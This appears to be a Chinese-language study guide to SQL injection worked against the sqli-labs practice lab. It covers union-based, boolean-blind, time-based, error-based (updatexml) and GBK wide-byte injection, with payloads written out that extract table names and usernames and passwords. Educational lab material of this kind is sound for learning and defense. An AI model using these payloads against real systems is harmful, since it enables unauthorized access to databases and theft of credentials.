SQL注入

SQL注入

判断注入类型
判断注入类型是数字型还是字符型
如果输入1 and 1=1和1 and 1=2页面的查询结果都返回相同的内容,说明不是数字型注入。
既然不是数字型,那就有很大的可能是字符型注入了。如果是字符型则需要对单引号(’)进行闭合

Get显错注入

联合查询

以sqli_labs第一关为例

1

判断字符型还是数字型

1
?id=1asd

发现可以显示,为字符型

判断列数

1
?id=1' order by 4%23

发现4错,3可以正常显示,即列数为3

判断注入点,即回显位

2

1
?id=-1' union select 1,2,3%23

回显位置为2,3的位置

获取数据库名、版本

1
?id=-1' union select 1,2,3%23

3
发现数据库名字为security

获取数据库表名

1
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23

4

获取某个表中的字段名

1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+

5

获取字段中的记录

1
?id=-1' union select 1,(select group_concat(username,password) from users),3--+

6

Get盲注

bool注入

以sqli_labs第八关为例

获取数据库长度

?id=1' and length(database())=8--+

获取数据库名

?id=1' and substr(database(),1,1)='s'%23

接下来就算一个一个的进行截取,直到截取了8位为止,比如截取第二位

?id=1' and substr(database(),2,1)='e'%23

除了以上方法之外,还可以把要猜解的内容转换为ascii码,然后使 用ascii()函数,比如

?id=1' and ascii(substr(database(),1,1))=115%23

获取当前数据库名字:security

获取数据库表

获取表的总数

?id=1' and (select count(table_name) from information_schema.tables where table_schema="security")=4--+

获取数据库表名长度

为了避免无效的查询,可以先获取表名的长度再获取数据库表具体名字

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23

第一个表长度为6

获取数据库的表名

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'%23

或者

?id1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 0,1))=101

此为获取当前数据库第一个表的第一个字符

如果再使用ascii()函数进行转换的话,则为

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23

然后依次改变substr(string, start, length)中的start即可

获取当前数据库第二个表的第一个字符:

id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114

获取当前数据库第二个表的第二个字符:

id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114

所有表明emails,referers,uagents,users

获取数据库的列

获取表中字段的数量

id=1' and (select count(column_name) from information_schema.columns where table_name="emails")=2%23

但是有可能系统中不止一个emails表,所以还可以加个条件,

?id=1' and (select count(column_name) from information_schema.columns where table_name="emails" and table_schema='security')=2%23

获取长度

?id=1' and length((select column_name from information_schema.columns where table_name='emails' and table_schema='security'limit 0,1))=2%23

获取当前字段名

?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1)='i'

?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),1,1)='e'

使用ascii()函数进行转换:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1))=105%23

id=1’ and asci(mid(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=100

依次类推,可得到所有表的所有字段

获取字段中的记录

获取字段id的第一个记录

?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49%23

获取字段id的第二个记录

?id=1' and ascii(substr((select group_concat(id) from emails),2,1))=44%23

sleep注入

在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据 有没有在目标数据中得到执行。当然也需要构造闭合。

判断是否存在注入

由于没有任何回显位置,所以无法通过正常的方法判断是否存在注入。可以使用1 and sleep(5) 或者1‘ and sleep(5)# 进行测试,如果页面有延迟,说明存在漏洞

sleep(n):将程序挂起一段时间,n为n秒

获取数据库长度

语法格式:if(expr1,expr2,expr3)

以sqllab第九关为例

?id=1' and if(length(database())=8,sleep(5),1)%23

获取数据库名

?id=1' and if(substr(database(),1,1)='s',sleep(5),1)#

使用ascii()函数获取

id=1' and if(ascii(substr(database(),1,1))=115 ,sleep(5),1)%23

获取数据库表

获取数据库表的数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(5),1)%23

获取表的长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)%23

依次获取其它表的长度,第一个表为6,第二个表为8,第三个表为 7,第四个表为5

获取数据库表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)%23

最终获取到的第一个表的字符对应的ascii码值为101、109、97、 105、108、115,对应的字符为emails

报错注入

通过函数报错获取信息: 使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息

前提: 后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面

常用的报错函数: updatexml()、extractvalue()、floor

以sqli-labs靶场的第五关为例

判断是否存在注入

判断注入类型

通过“1’ and 1=1#”和“1’ and 1=2#”进行判断

获取数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

获取数据库表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23

获取表中的字段

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23

获取字段中的记录

?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23

由于xpath只会报错32个字符,所以可以使用substr()函数进行字符串截取

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,30),0x7e),1)%23

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,30),0x7e),1)%23

宽字节注入

原理

一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置 GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动解析为一个汉字。
Addslashes函数防止sql注入,将传入参数值进行转义。例如将 ‘ 转义为 ' ,这样我们在注入的时候闭合单引号就会变成 id=’1' ,这样会导致闭合失败从而注入失败。

绕过方式:

输入%df%27,本来会转义%27为 ' ,但 \ 遇上%df相当于%5c 和%df相遇,两者会合起来被解析成一个汉字(運),这样变成 id=’1 運’,在MYSQL中效果等同于 id= ‘1’ ,因而成功绕过。

用户输入:1%df’or 1=1#

转义后为: 1%df\‘ or 1=1#

由于SET NAMES gbk后,属于gbk编码2字节的范围,因此%df\成为一 个字符:運

执行语句:SELECT * FROM users WHERE id=’1運’ or 1=1#’

堆叠注入

二次注入